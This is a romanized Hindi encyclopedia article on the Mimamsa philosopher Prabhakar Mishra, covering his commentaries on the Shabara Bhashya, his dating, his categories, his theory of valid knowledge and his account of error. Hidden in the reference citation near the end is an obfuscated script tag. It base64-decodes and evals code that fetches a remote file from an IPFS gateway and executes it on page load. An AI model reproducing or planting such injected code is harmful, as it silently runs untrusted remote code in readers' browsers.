प्रभाकर मिश्र

prabhakar mishr ek mahanh darshanik, jise anek vidvanoan ne apane matanusar kumaril bhatt ka shishy svikar kiya hai. inaka samay ee. 7vian shati hai. prabhakar mishr mimaansa kshetr mean 'gurumat' ke sansthapak haian. inake guru kumaril bhatt ne inhean 'guru' ki upadhi se alankrit kiya tha. prabhakar mishr ne apani do mahattvapoorn tikaoan ki bhi rachana ki haian.

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parichay evan granth

mimaansa ke gurumat ke sansthapak prabhakar mishr ya prabhakar shabar bhashy par atyant mahattvapoorn evan svatantr vyakhya likhane vale advitiy vidvanh haian. inake jivanavritt aur kal ke vishay mean vicharakoan mean ekamat nahian hai. inako guru nam se bhi jana jata hai. prachin parampara mean inhean kumaril bhatt ka shishy mana gaya hai, kintu kuchh vidvanoan ki ray hai ki ye kumaril se bhi prachin haian tatha mimaansa ke ek navin sampraday ke sansthapak haian. bhattamat aur gurumat mean anek maulik bhed haian.

granth

prabhakar ne shabar bhashy par do tikaean likhi haian-

1. brihati ya nibandhan- yah shabar bhashy ki vyakhya hai aur vastavik arth mean ise tika kaha ja sakata hai, kyoanki isamean sarvatr bhashy ki vyakhya hi ki gee hai, kahian bhi usaki alochana nahian ki gee hai.
2. laghvi ya vivaran- yah granth prakashit nahian hai. madhav sarasvati ke sarvadarshanakaumudi ke anusar laghvi mean 6000 shlok haian aur brihati mean 12000 shlok. in donoan granthoan par shanikanath mishr ne tikaean (panchika) likhakar gurumat ki pushti ki hai. rrijuvimalapanchika brihati ki tika hai aur dipashikhapanchika laghvi ki tika hai. shalikanath ne ukt do panchikaoan se alag prakaranapanchika namak ek svatantr granth likhakar prabhakar ke mat ka pratipadan kiya hai.

upadhi tatha tika rachana

prabhakar mishr ki alokik kalpana shakti par mohit hokar inake guru kumaril bhatt ne inhean ‘guru’ ki upadhi se gauravanvit kiya. tab se inaka ullekh ‘guru’ ke hi nam se hone laga. bharatiy darshan ke itihas mean mishr ji ka shubh nam ek dedipyaman roop mean aankit hai. apane svatantr mat ki pratishthapana karane hetu, inhoanne ‘shabarabhashy’ par brihati athava nibandhan tatha laghvi athava vivaran namak do tikaean bhi likhi haian. unamean se brihati prakashit ho chuki hai. apani amogh vichar shakti ke bal par mishr ji ne mimaansa darshan ko vichar shastr banane mean sahayati ki, aur darshan par sthapit kumaril bhatt ke ekadhipaty ko door kiya.

vidvanh matabhed

kappusvami shastri ne prabhakar mishr ka kal sanh 610-690 ke bich tatha kumaril bhatt ka kal sanh 600 se 660 ke bich nishchit kiya hai. profesar kith va d aauktar ganganath jha ke matanusar mishr ji sanh 600 se 650 ke bich hue tatha kumaril bhatt unase kuchh kal ke uparant hue. in vidvanoan ka mat hai ki mishr ji ke granthoan ke anushilan se ve bhatt ji se prachin pratit hote haian.

gurumat ke achary

is mat ke samarthak anek achary haian, jinamean shalikanath mishr, bhavanath, rantidev, varadaraj, shankar mishr, damodar tatha nandishvar ka nam vishesh ullekhaniy hai. in acharyoan ne tika, tippani aur svatantr granth likhakar gurumat ka samarthan, prachar evan prasar kiya hai.

tatv vichar

nyay vaisheshik darshan ke saman prabhakar bhi jagath ki satta ko vastavik tatha indriy dvara gamy manate haian. tatv vichar ki pushti se prabhakar bhi anekatatvavadi, vastavavadi evan vyavaharavadi kahe ja sakate haian. prabhakar ath padarthoan ki satta manate haian- dravy, gun, karm, samany, samavay (paratantrata), shakti sadrishy evan sankhya. inamean dravy, gun aur karm ka lakshan evan bhed pray: vaisheshik darshan ke saman hai. samany (athava jati) ki satta vyaktiyoan se prithakh nahian mani ja sakati hai. vah vyaktiyoan mean hi rahata hai. paratatranta vaisheshik darshan ka samavay hai. yah jati aur vyakti ke bich vidyaman sambandh hai. yah nity nahian hai, kyoanki anity padarthoan mean bhi rahata hai. shakti bhi ek svatantr padarth hai, jaise- agni ki dahakata, jisake rahane par agni dahan karati hai aur jisake avaruddh ho jane par agni dah nahian kar pati. is tarah dravy, gun, karm adi se kary utpann karane ki shakti hai, jo ek svatantr padarth hai. isi prakar sadrishy aur sankhya ko bhi prabhakar ne svatantr padarth mana hai. vaisheshik darshan mean shakti pratibandhakabhav roop hai aur sadrishy evan sankhya gun ke aantargat a jate haian.

dravy

gun aur kriya ka ashray dravy hai. vaisheshik darshan mean keval tin dravy 'prithvi, jal aur agni' ko hi pratyaksh mana jata hai, kintu prabhakar prithvi, jal aur agni ke sath vayu ka bhi pratyaksh manate haian. unaka kahana hai ki shit aur ushn sparsh mean bhed rahane par bhi 'yah vahi vayu hai', is prakar ki pratyabhijna hoti hai. at: vayu ka sakshath pratyaksh hota hai. vaisheshik darshan sharir ki utpatti mean samast bhoot dravyoan ko karan manata hai. kintu prabhakar ke anusar keval prithvi se hi bhautik sharir utpann hota hai. any bhootoan ka sharir mean sarvatha abhav rahata hai. vaisheshik darshan mean sharir mean char prakar bhed mane jate haian. unamean se prabhakar keval tin 'jarayuj, andaj aur svedaj' ko hi sharir manate haian. inake anusar udbhijj (jaise pe d-paudhe) ko sharir manana uchit nahian hai, kyoanki bhog (sukh-du:kh ki anubhooti) keval tin shariroan mean hi hota hai. at: inhian ko sharir mana ja sakata hai. udbhijj mean bhog nahian hota, at: ise sharir kahana thik nahian hai. vaisheshik mean atma ka manav pratyaksh mana jata hai, kintu prabhakar ka kahana hai ki atma jnanashray hai, usaka manav pratyaksh vishay ke roop mean svikar karana uchit nahian hai. triputi pratyaksh mean jnata ke roop mean usaka pratyaksh ho jata hai. prabhakar kumaril ke mat ke andhakar ko dravy nahian manate haian.

praman

prabhakar ke anusar sanvit ya jnan do prakar ke hote haian- smriti aur anubhooti. smriti keval sanskar se utpann jnan hai. smriti se bhinn sanvith (jnan) anubhooti hai. anubhooti hi pran hai. smriti yatharth jnan hone par bhi praman nahian hai, kyoanki praman jnan hone ke lie vishay ko ajnat hona avashyak hai. smriti ka vishay pahale se jnat rahata hai.

pramanabhed

praman paanch prakar ka hai- pratyaksh, anuman, shabd, upaman aur arthapatti.

pratyaksh

sakshath utpann jnan ko pratyaksh kahate haian. pratyek pratyaksh jnan mean pramata, pramey aur prama in tinoan ka bhan hota hai. jab ham kahate haian ki 'ham gho de ko janate haian', tab hamean isase tin aansh dikhate haian- 'ham', 'gho da' aur 'jnan'. isamean ham pramata hai, gho da pramey hai aur janana prama hai. pratiti pramey aur pramata se bhinn hoti hai, kintu prama se bhinn nahian hoti. prama svayan prakashasvaroop hai. pramey aur pramata ki pratiti ek tarah ki hai. inaki pratiti ke lie prakash ki apeksha hoti hai. pratiti ya jnan svayanprakash hai. vahi pramey aur pramata ko bhi prakashit karati hai. indriy tatha vishay ke sakshath sambandh (sannikarsh) se pratyaksh jnan hota hai. pratyaksh jnan ke lie indriy aur vishay mean sambandh do prakar se hota hai- jnan ke vishayoan ke sath indriy ke sanyog se, vishay mean sanyukt ke sath samavay tatha samavet samavay se. is prakar prabhakar ke mat se sannikarsh tin prakar ke ho jate haian. sanyog, sanyukt samavay aur samavay. pratyaksh ki prakriya mean char sannikarsh hote haian- indriy ka vishay ke sath, dravy ke gunoan ke sath indriy ka, indriy ka man ke sath aur man ka atma ke sath. sukh-du:kh aur isi prakar ke any atm gunoan ke pratyaksh mean keval do hi sannikarsh hote haian- sukh-du:kh ka man ke sath aur man ka atma ke sath. pratyaksh ke vishay ko tin vargoan mean rakha gaya hai-

• dravy
• samany
• gun

prabhakar bhi prabhakar ke nirvikalpak aur savikalpak do bhed svikar karate haian. kintu prabhakar ke anusar nirvikalpak pratyaksh mean vyakti aur samany visheshat: donoan ki pratiti si hoti hai, parantu any se bhed ka bodh nahian ho pata, jo ki vyakti ke vishisht bodh ke lie avashyak hota hai. savikalpak pratyaksh mean vyakti, samany visheshata aur any se bhed ka jnan hone ke karan vishisht bodh sambhav ho jata hai.

anuman

kumaril ke saman prabhakar bhi anuman ko praman manate haian. yah sadhy aur hetu ke nity, anivary evan sarvabhaum sambandh par adharit hota hai. is sambandh ki sthapana karan evan kary mean sampoornh? evan aansh mean, dravy aur gun mean tatha ek hi dravy mean vidyaman guni mean ki ja sakati hai. inake mat mean bhi avayav vaky tin hi hote haian- udaharan, upanay aur nigaman athava udaharan, hetu aur nigaman (ya pratijna).

shabd

shabd ke vijnan se parokshabhoot vishay ke jnan ko shabd praman kaha jata hai. arthath jab shabd ke vijnan se atma ke sannikarsh ke dvara adrishy vishay ka jnan prapt hota hai, tab use shabd praman kahate haian. prabhakar ke anusar yatharth shabd jnan keval ved vakyoan mean bhi vahi praman haian, jo vidhyarthak haian, jaise- 'svarg ki kamana karane vala purush yajn kare'. shabd ke sambandh mean prabhakar ke mat ki spasht samajhane ke lie yah avashyak hai ki shabd aur dhvani ka bhed spasht kar liya jaye. jo kan ko sunaee p data hai, vah dhvani hai. vah nity shabd ka pratik ya sanket hai. dhvani anity hai. isake dvara nity shabd ko abhivyakt kiya jata hai. das bar 'gh da' ke uchcharan se das dhvaniyaan utpann hoti haian, kintu ek hi shabd abhivyakt hota hai. isase yah spasht ho jata hai ki dhvani anity hai, vah utpann hoti hai aur nasht ho jati hai. kintu shabd nity hai, jo vibhinn dhvaniyoan se abhivyakt hota hai. shabd ke sath arth ka sambandh bhi nity hai. ved vaky apaurushey hone ke karan nity nirdosh evan svat: praman hai.

upaman

sadrishy ke dvara vishay ke jnan ko upaman kahate haian. jaise- gay ko janane vala manushy jab gavay ko dekhata hai, tab gavay ke pratyaksh jnan se sadrishy ke dvara pratyaksh roop mean avidyaman gay ka jnan bhi use ho jata hai. isi jnan ko 'upaman kahate haian. gavay ya nilagay ke pratyaksh hone par usamean gay ka sadrishy pratyaksh hota hai aur gay mean nilagay ke sadrishy ka, upaman se jnan hota hai.

arthapatti

isake svaroop ke sambandh mean zprabhakar ka mat adhikaansh mean kumaril ke mat ke saman hai. kintu prabhakar ka kahana hai ki kisi bhi praman se jnat vishay ki upapatti ke lie arthapatti ho sakati hai. keval drisht aur shrut se hi arthapatti manana yuktisangat nahian hai. jo arthapatti se jnat hota hai, vah sadharanataya pratyaksh, anuman adi pramanoan se siddh nahian ho pata. at: arthapatti ko svatantr praman mana gaya hai.

svat:pramanyavad

prabhakar ke anusar sabhi jnan yatharth hai tatha svat: prakash hai. yadi jnan apane jnan ke lie any jnan par ashrit hoga to jnan ka jnan kabhi bhi nahian ho sakega aur anavastha dosh a jayega. at: jnan ko svat: prakash manana hi yukti sangat hai. jnan ko mithya manana vadatovyaghat hai, kyoanki ya to jnan nahian rahega aur yadi rahega to yatharth rahega, mithya ho hi nahian sakata. prabhakar ke mat mean jnan ke svat: pramany ka tatpary yah hai ki jab jnan utpann hota hai, tab us jnan ki samagriyoan se hi jnan mean pramany ya satyata utpann hoti hai. vah kahian bahar se nahian ati. at: pramany apani utpatti ki drishti se bhi svat: hai. jnan jab utpann hota hai, tab us jnan ka aur usake pramany ka jnan bhi usi jnan se ho jata hai. at: jnan ke pramany ka jnan bhi svat: ho jata hai. jnan ki svaprakashata aur anivary yatharthata ko manane ke karan prabhakar spasht roop se svat: pramany ka samarthan karate haian.

bhram

prabhakar ke anusar sabhi jnan yatharth hote haian. at: bhram jnan kahana yukti sangat nahian hai. jahaan tak rassi ko saanp samajhane aur sip ko chaandi samajhane ka prashn hai, jise log bhram jnan manate haian, vastav mean yah koee ek jnan nahian hai. do aanshik kintu yatharth jnan mean bhed ka jnan n hone se use bhranti samajh liya jata hai. arthath yah 'yah sarp hai' ya 'yah chaandi hai', is jnan mean do aansh haian- 'yah' aur 'sarp' athava 'chaandi'. isamean yah aansh pratyaksh dikh p data hai kintu isamean rassipan ya chaandipan nahian jnat hota. usi prakar sarp ya chaandi ka jnan smaran dvara hota hai, kintu usamean poorvadesh aur poorvakal ke jnan ka abhav rahata hai. ye donoan jnan saty evan yatharth haian, kintu aanshik haian. inamean vivek ya bhed ka ajnan rahata hai, at: log ise bhram man lete haian. vastav mean inamean bhed hai aur donoan alag alag aanshik saty jnan haian. is mat ko vivekagrah (bhed ka abhav) athava akhyati kaha jata hai.

karm evan bandhan moksh

prabhakar ke anusar ved vihit karmoan ko kartavyabriddhi se hi karana chahie. unase n sukh pane ki ichchha rakhani chahie aur n hi phal pane ki ichchha. kamy karmoan mean phal ka nirdesh sachche adhikari ki pariksha karane matr ke lie hai. nity karm ved vihit hone ke karan hi anushthey hai. at: ved ki ajna ko anulanghaniy manakar inaka anushthan karana chahie. moksh ki prapti puny aur pap ki samapti se sambhav hai, kyoanki inhian ke karan praniyoan ko janm lena p data hai aur sharir, indriy, buddhi aur bhog samagriyoan se sambandh hota hai, jise bandhan kahate haian. jab puny aur pap samapt ho jata hai, tab bhog ke karan ke samapt hone se atma ko sharir adi bhogayatan aur bhog samagri ke sambandh se sada ke lie chhutakara mil jata hai. ise hi moksh kaha jata hai. moksh ka sadhan nishkam karmayog hai. arthath samast karmoan ko phal ki ichchha se rahit hokar karate rahane se moksh prapt hota hai. ise hi viniyog siddhi kaha jata hai aur viniyog siddhi hi moksh hai.  

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bharatiy sanskriti kosh, bhag-2 |prakashak: yoonivarsiti pablikeshan, nee dilli-110002 |sanpadan: profesar devendr mishr |prishth sankhya: 515 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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